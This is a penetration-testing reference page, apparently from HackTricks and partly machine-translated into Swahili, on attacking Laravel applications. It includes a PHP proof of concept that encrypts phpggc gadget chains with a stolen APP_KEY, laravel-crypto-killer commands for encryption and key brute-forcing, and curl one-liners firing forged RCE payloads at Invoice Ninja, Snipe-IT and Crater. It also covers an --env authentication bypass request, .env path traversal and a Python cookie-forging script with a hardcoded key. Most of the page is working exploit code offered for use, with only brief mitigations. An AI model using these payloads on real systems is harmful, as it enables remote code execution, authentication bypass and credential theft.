Laravel

Reading time: 10 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Laravel SQLInjection

Soma taarifa kuhusu hili hapa: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel inatumia AES-256-CBC (au GCM) pamoja na uadilifu wa HMAC chini ya kifuniko (Illuminate\\Encryption\\Encrypter). Ciphertext ghafi ambayo hatimaye sent to the client ni Base64 of a JSON object kama:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) itafanya serialize() ya plaintext kwa chaguo-msingi, wakati decrypt($payload, $unserialize=true) ita unserialize() moja kwa moja ya thamani iliyofumbuliwa. Hivyo mtuhumiwa yeyote anayejua siri ya 32-byte APP_KEY anaweza kutengeneza objekti ya PHP iliyoserialishwa na iliyosimbwa na kupata RCE kupitia magic methods (__wakeup, __destruct, …).

Minimal PoC (framework β‰₯9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Injiza msururu uliotengenezwa ndani ya sink yoyote dhaifu ya decrypt() (route param, cookie, session, …).


laravel-crypto-killer 🧨

laravel-crypto-killer inaendesha mchakato mzima kiotomatiki na inaongeza njia rahisi ya bruteforce:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script inasaidia kwa uwazi payloads za CBC na GCM na inaunda tena sehemu ya HMAC/tag.


Mifano ya udhaifu ya dunia halisi

ProjectSinki yenye udhaifuGadget chain
Invoice Ninja ≀v5 (CVE-2024-55555)/route/{hash} β†’ decrypt($hash)Laravel/RCE13
Snipe-IT ≀v6 (CVE-2024-48987)XSRF-TOKEN cookie wakati Passport::withCookieSerialization() imewezeshwaLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookie β†’ laravel_session cookieLaravel/RCE15

The exploitation workflow is always:

  1. Pata au brute-force the 32-byte APP_KEY.
  2. Jenga gadget chain with PHPGGC (kwa mfano Laravel/RCE13, Laravel/RCE9 au Laravel/RCE15).
  3. Encrypt gadget iliyoserialiwa na laravel_crypto_killer.py na APP_KEY uliopatikana.
  4. Tuma ciphertext kwa sinki yenye udhaifu decrypt() (route parameter, cookie, session …) ili kusababisha RCE.

Hapo chini kuna mifano fupi za mstari mmoja (one-liners) zinazoonyesha njia kamili ya shambulio kwa kila CVE ya dunia halisi iliyotajwa hapo juu:

bash
# Invoice Ninja ≀5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≀6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Kwa sababu kila response mpya ya Laravel inaweka angalau cookie iliyofichwa (XSRF-TOKEN na kawaida laravel_session), public internet scanners (Shodan, Censys, …) leak mamilioni ya ciphertexts ambazo zinaweza kushambuliwa offline.

Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):

  • Dataset July 2024 Β» 580 k tokens, 3.99 % keys cracked (β‰ˆ23 k)
  • Dataset May 2025 Β» 625 k tokens, 3.56 % keys cracked
  • 1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.

  • Utiririshaji mkubwa wa keys – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).

The private Go tool nounours pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.

CVE-2024-52301 – HTTP argv/env override β†’ auth bypass

When PHP’s register_argc_argv=On (typical on many distros), PHP exposes an argv array for HTTP requests derived from the query string. Recent Laravel versions parsed these β€œCLI-like” args and honored --env=<value> at runtime. This allows flipping the framework environment for the current HTTP request just by appending it to any URL:

  • Quick check:

  • Visit https://target/?--env=local or any string and look for environment-dependent changes (debug banners, footers, verbose errors). If the string is reflected, the override is working.

  • Impact example (business logic trusting a special env):

  • If the app contains branches like if (app()->environment('preprod')) { /* bypass auth */ }, you can authenticate without valid creds by sending the login POST to:

  • POST /login?--env=preprod

  • Notes:

  • Works per-request, no persistence.

  • Requires register_argc_argv=On and a vulnerable Laravel version that reads argv for HTTP.

  • Useful primitive to surface more verbose errors in β€œdebug” envs or to trigger environment-gated code paths.

  • Mitigations:

  • Disable register_argc_argv for PHP-FPM/Apache.

  • Upgrade Laravel to ignore argv on HTTP requests and remove any trust assumptions tied to app()->environment() in production routes.

Minimal exploitation flow (Burp):

http
POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

Triki za Laravel

Hali ya debugging

Iwapo Laravel iko katika debugging mode, utaweza kupata code na sensitive data.
Kwa mfano http://127.0.0.1:8000/profiles:

Hii kwa kawaida inahitajika kwa kutumia exploits dhidi ya CVEs nyingine za Laravel RCE.

Fingerprinting & endpoints za dev zilizo wazi

Mikaguzi ya haraka kutambua stack ya Laravel na dev tooling hatari zilizo wazi katika production:

  • /_ignition/health-check β†’ Ignition ipo (debug tool used by CVE-2021-3129). Ikiwa inafikiwa bila uthibitisho, app inaweza kuwa katika debug mode au imepangwa vibaya.
  • /_debugbar β†’ Laravel Debugbar assets; mara nyingi zinaonyesha debug mode.
  • /telescope β†’ Laravel Telescope (dev monitor). Ikiwa ni ya umma, tarajia kufichuka kwa taarifa nyingi na vitendo vinavyowezekana.
  • /horizon β†’ Queue dashboard; inaweza kufichua version na wakati mwingine vitendo vinavyolindwa na CSRF.
  • Header X-Powered-By, cookies XSRF-TOKEN na laravel_session, pamoja na kurasa za makosa za Blade pia husaidia kutambua.
bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel huhifadhi APP inayotumiwa ku-encrypt cookies na sifa nyingine ndani ya faili iitwayo .env inayoweza kupatikana kwa kutumia path traversal chini ya: /../.env

Laravel pia itaonyesha taarifa hii ndani ya debug page (inayoonekana wakati Laravel inapopata kosa na ikiwa imewezeshwa).

Kwa kutumia siri ya APP_KEY ya Laravel unaweza decrypt na re-encrypt cookies:

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\"_token\";s:40:\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\";s:8:\"username\";s:8:\"guestc32\";s:5:\"order\";s:2:\"id\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\";s:8:\"username\";s:8:\"guest60e\";s:5:\"order\";s:8:\"lolololo\";s:9:\"direction\";s:4:\"desc\";s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}s:9:\"_previous\";a:1:{s:3:\"url\";s:38:\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\";}}","expires":1605141157}')

Laravel Deserialization RCE

Matoleo yaliyo hatarini: 5.5.40 and 5.6.x through 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

Hapa unaweza kupata taarifa kuhusu udhaifu wa deserialization: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

Unaweza kujaribu na kui-exploit kwa kutumia https://github.com/kozmic/laravel-poc-CVE-2018-15133
Au unaweza pia kui-exploit kwa metasploit: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

Deserialization nyingine: https://github.com/ambionics/laravel-exploits

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks